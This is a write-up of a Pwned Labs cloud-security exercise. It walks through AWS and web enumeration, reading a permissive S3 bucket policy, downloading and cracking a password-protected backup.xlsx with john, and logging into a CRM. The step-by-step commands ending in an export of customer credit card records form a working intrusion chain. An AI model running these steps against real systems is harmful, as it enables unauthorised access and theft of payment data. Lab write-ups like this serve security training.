EXPLOIT WEAK BUCKET POLICIES

PWNEDLABS.IO

Enumeration

`aws configure` and set keys

```
$aws sts get-caller-identity
{
"UserId": "AIDA3NRSK2PTKPMJEJQ7H",
"Account": "785010840550",
"Arn": "arn:aws:iam::785010840550:user/test"
}
```

Note the account number and user `test`

$~/go/bin/aws-enumerator enum -services all

No useful results for our user.

Since we have an IP, we will see if we can find anything with `nmap`:

```
$nmap -sCV -A -p- 13.43.144.61 --min-rate 7000 -oN exploitweakbucket -Pn
PORT STATE SERVICE VERSION
3000/tcp open tcpwrapped
```

Port 3000 is open. Port 3000 is typically used for `Node.js` frameworks. So we will go to `http://13.43.144.61:3000` in the browser and we see a website for Huge Logistics. Let's follow a typical pentest approach and use gobuster on the website to detect hidden directories:

```
gobuster dir -u http://13.43.144.61:3000 -w /home/user/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt --no-error -t 100 -x php,js
....snap....

Starting gobuster in directory enumeration mode

....snip....
/Login (Status: 200) Size: 8673
/js (Status: 301) Size: 171 --> /js/
/Services (Status: 200) Size: 6690
/logout (Status: 302) Size: 23 --> /
/crm (Status: 200) Size: 9035
/Register (Status: 200) Size: 10991
/dashboard (Status: 302) Size: 26 --> /crm
```

```
/Logout (Status: 302) Size: 23 --> /
....snap....
```

We have a `CRM` directory. A `CRM` or `Customer Relationship Management` directory is used, among other things, to store customer data. This could be interesting. Visiting the page, we see we need credentials, specifically an email and password, to log in. Attempts at `SQLi` fail, as well, so we have to try to hunt down the information.

Looking at the source code of the website, we can see it's pulling resources, in this case a picture of a truck, from `https://hugelogistics-data.s3.eu-west-2.amazonaws.com/truck.png` however, we know from our earlier `aws-enumerator` enumeration, we can't use services like `aws s3 ls hugelogistics-data`. Trying to copy the bucket contents with `aws s3 cp s3://hugelogistics-data .` fails because AWS first tries to list the contents of the bucket, which we cannot do, before downloading them. Now we will try using `aws s3api` to get the bucket policy.

s3 Bucket Enumeration

A `bucket policy` is attached directly to the bucket and determines what actions are denied or allowed by which principle:

```
$aws s3api get-bucket-policy --bucket hugelogistics-data
{
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":
[{\"Sid\":\"PublicReadForAuthenticatedUsersForObject\",\"Effect\":\"Allow\",\"P
rincipal\":{\"AWS\":\"*\"},\"Action\":
[\"s3:GetObject\",\"s3:GetObjectAcl\"],\"Resource\":
[\"arn:aws:s3:::hugelogistics-data/backup.xlsx\",\"arn:aws:s3:::hugelogistics-
data/background.png\"]},
{\"Sid\":\"AllowGetBucketPolicy\",\"Effect\":\"Allow\",\"Principal\":
{\"AWS\":\"*\"},\"Action\":\"s3:GetBucketPolicy\",\"Resource\":\"arn:aws:s3:::h
ugelogistics-data\"}]}"
}
```

```
Here we see we are allowed GetObject on /backup.xlsx and GetBucketPolicy on the
hugelogistics-data s3 bucket. We can make the output more palatable like this:
```

```
$aws s3api get-bucket-policy --bucket hugelogistics-data | jq -r '.Policy' |
sed 's/\\//g' | jq
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicReadForAuthenticatedUsersForObject",
"Effect": "Allow",
"Principal": {
```

```
"AWS": "*"
},
"Action": [
"s3:GetObject",
"s3:GetObjectAcl"
],
"Resource": [
"arn:aws:s3:::hugelogistics-data/backup.xlsx",
"arn:aws:s3:::hugelogistics-data/background.png"
]
},
{
"Sid": "AllowGetBucketPolicy",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetBucketPolicy",
"Resource": "arn:aws:s3:::hugelogistics-data"
}
]
```

So, we download the `/backup.xlsx` file:

```
$aws s3 cp s3://hugelogistics-data/backup.xlsx .
```

Trying to read the file we just downloaded, we see it's a password protected Excel file. Now we will turn to `office2john` to crack it.

Office2John

```
$sudo office2john backup.xlsx > hash
$sudo john hash --wordlist=/home/user/SecLists/rockyou.txt
....snip....
Press 'q' or Ctrl-C to abort, almost any other key for status
summertime (backup.xlsx)
....snap....
```

So now we have the password `summertime` for the file. Let's open it. Here we see login and password information for quite a few people, as well as the system/service they correspond to. So going back to the website, we can log into `http://13.43.144.61:3000/crm`.

We can see there is a panel for `View Invoices Status`. Clicking on that, we are given the credit card information of various customers as well as their invoice number. Click on `Export Data` to save the file to your machine, and read the contents at your leisure:

```
$cat customer_data.csv
INV ID,Name,Email,Credit Card,Expiry Date,CCV,Flag
d42a123d-a38a-4338-ab3d-
1668a52ad0b2,Nathanael,Nathanael71@hotmail.com,481400586813582,04/2025,288,
aa294a46-0a5d-441c-96b4-
fe592583ea3e,Zora16,Zora16@yahoo.com,403206914653623,01/2024,725,
8187acae-8f28-4a57-9300-88476845b978 ,May.Oberbrunner,May.Oberbrunner@gmail.com
,416956038959444,06/2024,644,
8269482c-793a-481c-92a4-c04871da0ece ,Jimmy.Beahan ,Jimmy.Beahan@hotmail.com
,476576634339617,10/2023,297,db7b876d88b1105b23164b6434b00f34
```